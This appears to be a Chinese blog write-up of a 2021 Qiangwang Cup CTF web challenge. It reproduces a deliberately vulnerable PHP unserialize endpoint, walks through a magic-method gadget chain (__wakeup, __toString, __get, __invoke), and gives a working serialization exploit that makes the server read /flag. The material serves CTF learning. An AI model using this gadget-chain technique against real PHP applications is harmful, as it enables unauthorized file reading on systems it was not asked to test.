2021强网杯 Web赌徒 WP
文章目录
- 源代码:
- 分析
- __invoke
- __get
- _tostring
- EXP
- 调用流程:
- 总结
源代码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);class Start
{public $name='guest';public $flag='syst3m("cat 127.0.0.1/etc/hint");';public function __construct(){echo "I think you need /etc/hint . Before this you need to see the source code";}public function _sayhello(){echo $this->name;return 'ok';}public function __wakeup(){echo "hi";$this->_sayhello();}public function __get($cc){echo "give you flag : ".$this->flag;return ;}
}class Info
{private $phonenumber=123123;public $promise='I do';public function __construct(){$this->promise='I will not !!!!';return $this->promise;}public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}
}class Room
{public $filename='/flag';public $sth_to_set;public $a='';public function __get($name){$function = $this->a;return $function();}public function Get_hint($file){$hint=base64_encode(file_get_contents($file));echo $hint;return ;}public function __invoke(){$content = $this->Get_hint($this->filename);echo $content;}
}if(isset($_GET['hello'])){unserialize($_GET['hello']);
}else{$hi = new Start();
}?>
是一道反序列化的题目,首先想到的应该是寻找_destruct,_construct方法看是否有命令执行的地方,
这里只存在一个__construct方法。这个方法不大行
public function __construct(){$this->promise='I will not !!!!';return $this->promise;}
分析
其次在寻找魔法函数的时候,在ROOM类里面可以看见有一个get_hint方法,那么这个方法极大可能是我们最后需要调用的方法。
接下从这个方法往前面推,要想调用get_hint,必须调用_invoke(),_invoke是一个魔法函数,把实例化的对象当成函数使用,就会自动调用:
__invoke
举个例子:
<?php class test1(){public $a='abc';public function __invoke(){echo “invoke !!\n”;}}$dog=new test1();$dog('123');$dog();//输出内容: invoke !! invoke !!
知道了上面的调用方法,接下来再去寻找一下return的地方,因为这里要调用__invoke要求严格,必须先实例化,在当成函数使用,也就是说,必须是return Room();
而大多数return里面,仅仅return字符串,所以这样一来,我们能利用的return也就只有一个地方了:
public function __get($name){$function = $this->a;return $function();}
a参数可控,这里可以让this->$a=new Room();后面return $function()的时候就是一个方法了。
!!这里自己当时被坑了一下,没有看见$function后面的括号!!
到目前为止,我们已经知道可以通过Room里面的__get方法可以调用__invoke方法拿到FLAG
接下来看一看,如何调用__get方法:
__get
__get方法调用条件是:访问一个私有属性或者一个不存在(没有初始化)的属性,举个例子:
<?php class test1{public $a='1';private $c='2';public function __get($name){echo "__get!!! \n";}}$b=new test1();$b->$a;$b->$c;$b->$asdas;//输出: __get!!!_ _get!!! __get!!!
知道了怎么调用__get后,再去其他两个类寻找一下入口:
// class info
public function __toString(){return $this->file['filename']->ffiillee['ffiilleennaammee'];}
那么很显然,要调用Room中的__get方法,这里__tostring方法中的file[‘filename’]应该是new Room(),fifilee[
ffiilleennaammee]不存在 ,就可以调用了那么如何调用_tostring方法
_tostring
_tostring方法在输出、打印实例化对象的时候被调用,举个例子:
<?php class test1{public $a='1';private $c='2';public function __tostring(){echo '__tostring!!';}}$b=new test1();echo new test1();echo $b;
接下来就是去找可以echo或者return的地方
//class Start
public function _sayhello(){echo $this->name;return 'ok';}
接下来就是顺理成章的调用_sayhello ,剩下的就很简单了,实例化Start类,自动调用wakeup方法,从而调用_sayhello方法,参数我们都可以控制
EXP
<?php
class Start{}
class Info{}
class Room{
public function __construct(){
$this->filename = "/flag";
}
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>
调用流程:
从下往上依次调用
总结
这道题还是比较基础,都是考察简单的魔术方法,基础很重要,复现的时候可以自己搭环境调试看看整个流程。
有写得不对的地方,希望师傅们指出
2021强网杯 Web赌徒 WP相关推荐
- 第二届全国强网杯Web 题three hit学习心得(伪write up)
前言:本人CTF-WEB入门,有参赛,赛后参考了很多write up想解出此题,无奈理解能力有限,看不懂很多大佬的思路,最后看 酷辣虫上的一篇大佬write up才弄明白. 现将学习心得总结如下,说得 ...
- 【CTF整理】Who are you (2017强网杯web题)
[CTF整理]Who are you (2017强网杯web题) 别人思路总结: 0x01 初探 打开网页就是一句"Sorry. You have no permissions." ...
- 强网杯Web部分review
0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...
- 细说强网杯Web辅助
亲爱的,关注我吧 8/27 文章共计1908个词 包括三段长代码 今天的内容无图,流量不预警 和我一起阅读吧 1 写在前面 这里就借由强网杯的一道题目"Web辅助",来讲讲从构造P ...
- 2015广东强网杯web专题
2015广州强网杯 1.万国码 Unicode编码转换 #-*- coding : gbk -*- s=u'\u0066\u006c\u0061\u0067\u007b\u0032\u0035\u00 ...
- 2021强网杯 ezmath writeup
前言 题目ida查看后发现是浮点数的运算,涉及到精度的问题,本来想的是爆破每一位,但是发现条件由于精度损失的问题不可能相等,且数据越来越大,直到程序inf.后来听说是math有关的知识,看了别人的wp ...
- 2021 强网杯 pwn notebook
kernal pwn 给了几个文件,然后来看看启动文件 #!/bin/sh stty intr ^] exec timeout 300 qemu-system-x86_64 -m 64M -kerne ...
- 强强联手:2021强网杯LongTimeAgo复盘分析
花指令 查看main函数能看出有异常跳转. 查看汇编,将此处c为代码. 之后再依次去除花指令,再反汇编得到main函数伪代码. 主函数不短,先根据参数大概还原函数名,可以看出是常规的对输入加密再che ...
- 强网杯2019(高明的黑客强网先锋上单)
强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...
最新文章
- 支持的网卡列表_Windows 10的5G网卡折腾笔记(含采购链接)
- FPGA笔试题解析(五):串并转换与奇分频电路
- git拉取单个文件_Git拿来就用
- UIPasteboard
- 51nod 1785 数据流中的算法 (方差计算公式)
- java = 优化_Java9系列第7篇:Java.util.Optional优化与增强 - 字母哥博客 - 博客园
- Java学习笔记(7)——输入输出
- 机器学习 vs. 深度学习
- mysql对结果限制_在查询中限制MySQL结果
- html登陆部分项目答辩演讲稿,D-POTDR项目答辩讲稿材料
- 读写锁优先级的问题解决了
- 用nunit时,老是搞忘英文,在这里记录一下,方便到处查阅
- RNN LSTM GRU Attention transformer公式整理总结(超详细图文公式)
- 高并发 多线程批量ping工具 nbping简介和使用
- IDEA配置JDK源码阅读环境
- Python导包的几种方法,自定义包的生成以及导入详解
- java写一个android程序_【Android开发笔记】3.编写第一个Android程序
- FlexRay在AUTOSAR的实施
- 一份完整的app产品运营推广方案,app推广运营的方法(一)
- 项目:淘宝用户数据分析
热门文章
- win10查看端口号、进程
- 从入门到入土:IP源地址欺骗dos攻击实验
- 力扣:647. 回文子串
- Beyond Compare 相同文件对比结果仍显示红色 解决方案【转存】
- Android逆向分析之Xposed的hook技术
- 快速调整 图片的 像素大小
- JS 自定义sort方法实现星期的排序【开发记录】
- 今天有个同事L发了一个“称象”的帖子,不过更搞笑的是另一个同事Z回了一个经典的解答。...
- spi sync async
- 我的世界服务器信号下面是红,适用于服务器的红石抽奖机我的世界抽奖机电路图...